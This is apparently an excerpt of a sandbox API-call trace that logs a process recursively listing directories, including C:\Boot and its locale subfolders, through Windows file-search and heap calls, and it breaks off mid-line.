[0195.463] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1870 [0195.463] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.463] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.463] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.463] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.463] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.463] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0195.463] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.463] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.464] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.464] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1870 [0195.464] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.464] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.464] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.464] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.465] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.465] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0195.465] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.465] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.465] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.465] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0195.466] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.466] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.466] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.466] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.466] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.466] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.466] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.466] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.466] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.466] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.466] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0195.467] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.467] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.467] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.467] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.467] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.467] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.467] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.467] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42c0058 [0195.467] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1d30 [0195.590] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.616] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.616] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.616] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.616] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.616] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.616] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.617] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.617] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.617] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.617] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.617] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.618] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.618] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.618] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.618] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.618] FindNextFileW (in: hFindFile=0x7a1d30, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.634] FindClose (in: hFindFile=0x7a1d30 | out: hFindFile=0x7a1d30) returned 1 [0195.663] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42c0058 | out: hHeap=0x790000) returned 1 [0195.664] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.664] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.664] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.664] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.664] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.664] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.665] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.666] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.666] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.666] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.666] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.666] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.667] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.667] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.667] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.667] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.667] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.667] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.668] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 0 [0195.675] FindClose (in: hFindFile=0x7a1c70 | out: hFindFile=0x7a1c70) returned 1 [0195.675] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0048 | out: hHeap=0x790000) returned 1 [0195.676] FindNextFileW (in: hFindFile=0x7a1bb0, lpFindFileData=0x391fcf8 | out: lpFindFileData=0x391fcf8) returned 1 [0195.676] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42a0048 [0195.676] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 0x7a1c70 [0195.677] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.712] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.712] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.713] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.713] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.713] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.713] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.713] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0195.969] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.969] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.969] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.969] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.969] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.969] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.969] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.969] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.969] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.969] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.970] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0195.970] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.970] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.970] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.970] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.970] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.970] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.970] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.970] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.970] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0195.970] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.970] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.971] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.971] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.971] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.971] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.971] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.971] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.971] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0195.971] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.971] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.971] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.971] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.972] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.972] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.972] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.972] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.972] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1870 [0195.972] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.972] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.972] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.972] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.972] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0195.972] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.972] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.972] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.972] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0195.972] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.973] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.973] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.973] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.973] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.973] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.973] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.973] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0195.973] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.973] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.973] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.973] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.973] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.973] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.973] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.974] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.974] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0195.974] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.974] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.974] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.974] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.974] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.974] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.974] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.974] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.974] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0195.974] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.974] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.974] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.975] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0195.975] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.975] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.975] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.975] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0195.975] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.975] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.975] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.975] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0195.975] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.975] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.975] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.975] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1870 [0195.975] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.976] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.976] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x7a1870, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0195.984] FindClose (in: hFindFile=0x7a1870 | out: hFindFile=0x7a1870) returned 1 [0195.984] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0195.984] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0195.984] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0195.984] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1cf0 [0195.985] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0195.985] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.029] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.030] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.030] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.030] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.030] FindNextFileW (in: hFindFile=0x7a1cf0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.030] FindClose (in: hFindFile=0x7a1cf0 | out: hFindFile=0x7a1cf0) returned 1 [0196.031] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.031] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.031] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.031] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0x7a1ef0 [0196.031] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.031] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 1 [0196.031] FindNextFileW (in: hFindFile=0x7a1ef0, lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 0 [0196.031] FindClose (in: hFindFile=0x7a1ef0 | out: hFindFile=0x7a1ef0) returned 1 [0196.031] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42b0050 | out: hHeap=0x790000) returned 1 [0196.031] FindNextFileW (in: hFindFile=0x7a1c70, lpFindFileData=0x391fa7c | out: lpFindFileData=0x391fa7c) returned 1 [0196.031] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x42b0050 [0196.031] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x391f800 | out: lpFindFileData=0x391f800) returned 